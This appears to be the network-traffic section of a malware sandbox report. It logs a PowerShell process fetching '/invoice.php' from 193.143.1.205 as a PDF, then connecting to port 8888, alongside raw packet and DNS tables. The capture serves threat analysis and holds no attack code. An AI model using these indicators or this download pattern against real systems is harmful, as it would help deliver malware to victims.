Jan 10, 2025 17:58:26.775413990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775428057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775439024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775458097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775470018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775473118 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775480986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775491953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775501966 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775511980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775522947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775527954 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775535107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775542974 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775589943 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775610924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775624990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775635958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775648117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775660992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775667906 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775672913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775687933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775707006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775760889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775772095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775784016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775794983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775804996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775814056 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775816917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775830030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775841951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775846004 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775868893 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775953054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775964022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775975943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.775985956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.776004076 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.776030064 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.789145947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789159060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789171934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789177895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789184093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789195061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789208889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789239883 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.789263964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.789278030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789298058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789309978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789320946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789345980 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.789366007 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.789386988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789398909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789408922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.789439917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.796001911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809341908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809355021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809365034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809375048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809386969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809396982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809407949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809416056 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809461117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809513092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809640884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809652090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809659004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809664011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809674025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809684992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809700012 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809715986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809726954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809734106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809742928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809751034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809753895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809784889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809879065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809890985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809900999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809911013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809922934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809933901 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809935093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809947014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809958935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809964895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.809971094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809983015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.809983969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810024023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810105085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810116053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810126066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810138941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810151100 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810168982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810185909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810199976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810214043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810236931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810261965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810689926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810703039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810717106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810750961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810750961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810765982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810781002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810795069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810802937 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810803890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810820103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810844898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810909986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810924053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810937881 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810951948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810955048 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.810961962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.810993910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.811026096 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.811106920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811120033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811136007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811151981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811161995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811162949 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.811172962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811184883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811196089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811211109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.811239004 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.811275005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811285973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811296940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811307907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811326027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811327934 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.811337948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811350107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.811367035 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.811386108 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.846230984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.846247911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.846259117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.846266031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.846277952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.846291065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.846319914 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.846350908 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.846977949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.846988916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.847035885 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.856379986 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.865958929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.865977049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.866029978 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.866102934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.866272926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.866285086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.866297960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.866333008 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.866359949 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.866754055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.867053986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.867067099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.867120981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.867219925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.867280006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.867450953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.867582083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.867639065 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.867759943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.867774010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.867811918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.869065046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869231939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869245052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869292974 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.869390965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869405985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869442940 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.869658947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869672060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869683027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869695902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869714975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.869716883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869720936 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.869730949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869741917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869754076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869756937 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.869766951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.869787931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.869801044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.879452944 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879488945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879501104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879517078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879539013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879539967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.879550934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879563093 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.879564047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879585028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879599094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879602909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.879631042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879632950 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.879642963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879661083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879672050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879674911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.879682064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879695892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879700899 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.879729033 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.879751921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879777908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.879803896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.899718046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.899811029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.899827957 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.899842024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.899889946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.899909973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.899921894 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.899933100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.899947882 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.899954081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.899993896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.900012970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.900024891 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.900038004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.900063038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.900063992 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.900084972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.900099993 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.900099993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.900135040 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.903042078 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.955353975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:27.893413067 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:28.755368948 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:28.760230064 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:28.760344982 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:28.760481119 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:28.765408993 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:29.569258928 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:29.613900900 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:29.669841051 CET	49706	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:58:37.774454117 CET	52562	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:58:37.774454117 CET	192.168.2.5	1.1.1.1	0xebb8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:58:37.676624060 CET	1.1.1.1	192.168.2.5	0xf134	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:58:37.676624060 CET	1.1.1.1	192.168.2.5	0xf134	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:58:37.781821966 CET	1.1.1.1	192.168.2.5	0xebb8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	193.143.1.205	80	6412	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:58:25.367158890 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:58:26.130033016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:58:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:58:26.130105972 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:58:26.130116940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 17:58:26.130127907 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
